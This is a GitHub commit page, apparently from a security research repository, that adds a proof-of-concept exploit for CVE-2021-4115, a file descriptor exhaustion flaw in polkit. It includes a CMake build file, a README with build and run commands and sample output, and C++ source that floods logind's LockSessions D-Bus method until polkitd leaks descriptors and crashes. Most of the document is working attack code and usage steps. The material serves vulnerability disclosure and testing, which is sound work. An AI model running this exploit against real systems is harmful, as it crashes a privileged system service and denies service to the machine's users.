Skip to content

Commit

Permalink
PoC for file descriptor exhaustion in polkit (CVE-2021-4115)
Browse files Browse the repository at this point in the history
  • Loading branch information
kevinbackhouse committed Feb 16, 2022
1 parent 677baf7 commit 5620d91
Show file tree
Hide file tree
Showing 6 changed files with 179 additions and 0 deletions.
3 changes: 3 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
Expand Up @@ -10,3 +10,6 @@
[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoopDBusHandler"]
path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler
url = https://github.com/kevinbackhouse/EPollLoopDBusHandler.git
[submodule "SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse"]
path = SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse
url = https://github.com/kevinbackhouse/DBusParse
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
build
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
cmake_minimum_required(VERSION 3.10)

enable_testing()

# set the project name
project(CVE-2021-4115-polkit VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for CVE-2021-4115: file descriptor exhaustion in polkit")

# specify the C++ standard
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED True)

option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF)

add_compile_options(-Wall -Wextra -pedantic -Werror)

if (USE_SANITIZERS)
set(SANITIZER_FLAGS "-fsanitize=address,undefined")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}")
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
endif()

add_subdirectory(DBusParse)

add_executable(locksessions locksessions.cpp)
target_link_libraries(locksessions PUBLIC DBusParse DBusParseUtils crypt)
target_include_directories(
locksessions PRIVATE
$<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>)
Submodule DBusParse added at b2c75c
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
# CVE-2021-4115 (GHSL-2021-077)

This repository contains a proof of concept exploit for
[CVE-2021-4115](https://gitlab.freedesktop.org/polkit/polkit/-/issues/141):
file descriptor exhaustion in
[polkit](https://gitlab.freedesktop.org/polkit/polkit).

# Build

Instructions for building the PoC:

```bash
git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse
mkdir build
cd build
cmake ..
make
```

# Running

The PoC causes polkit to leak eventfd file descriptors. After several runs
of the PoC, polkit will leak so many file descriptors that it will crash
due to exceeding its quota of file descriptors.

First, check how many file descriptors polkit has open:

```bash
$ sudo ls -l /proc/`pidof polkitd`/fd | wc
12 123 680
```

Now run the PoC:

```bash
./locksessions /var/run/dbus/system_bus_socket 0x4000
```

(The PoC is named locksessions because it calls the
org.freedesktop.login1.Manager.LockSessions D-Bus method.)

Now check again how many file descriptors polkit has open:

```
$ sudo ls -l /proc/`pidof polkitd`/fd | wc
255 2796 16872
```

Notice that a large number of eventfd file descriptors have been
leaked. After few more runs of the PoC, polkit will most likely
crash.
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
#include "dbus_utils.hpp"
#include "dbus_auth.hpp"
#include "utils.hpp"
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>

class DBusSocket : public AutoCloseFD {
public:
DBusSocket(const uid_t uid, const char* filename) :
AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0))
{
if (get() < 0) {
throw ErrorWithErrno("Could not create socket");
}

sockaddr_un address;
memset(&address, 0, sizeof(address));
address.sun_family = AF_UNIX;
strcpy(address.sun_path, filename);

if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) {
throw ErrorWithErrno("Could not connect socket");
}

dbus_sendauth(uid, get());

dbus_send_hello(get());
std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get());
std::string name = hello_reply1->getBody().getElement(0)->toString().getValue();
std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get());
}
};

static void send_logind_LockSessions(const int fd, const uint32_t serialNumber) {
dbus_method_call(
fd,
serialNumber,
DBusMessageBody::mk0(),
_s("/org/freedesktop/login1"),
_s("org.freedesktop.login1.Manager"),
_s("org.freedesktop.login1"),
_s("LockSessions")
);
}

// Keep trying `attempt_LockSessions_with_disconnect` with different
// delay values until the exploit succeeds (or we decide to give up).
static void exploit_LockSessions(
const uid_t uid,
const char* filename,
const long n
) {
DBusSocket fd(uid, filename);

for (long i = 0; i < n; i++) {
send_logind_LockSessions(fd.get(), i+1);
}
}

static void usage(const char* progname) {
fprintf(
stderr,
"usage: %s <unix socket path> <number of messages to send>\n"
"example: %s /var/run/dbus/system_bus_socket 4096\n",
progname,
progname
);
}

int main(int argc, char* argv[]) {
const char* progname = argc > 0 ? argv[0] : "a.out";
if (argc != 3) {
usage(progname);
return EXIT_FAILURE;
}

char* endptr = 0;
const long n = strtol(argv[2], &endptr, 0);
if (endptr == argv[2] || *endptr != '\0') {
usage(progname);
return EXIT_FAILURE;
}

const uid_t uid = getuid();
const char* filename = argv[1];

for (size_t i = 0; i < 1; i++) {
exploit_LockSessions(uid, filename, n);
}

return EXIT_SUCCESS;
}

0 comments on commit 5620d91

Please sign in to comment.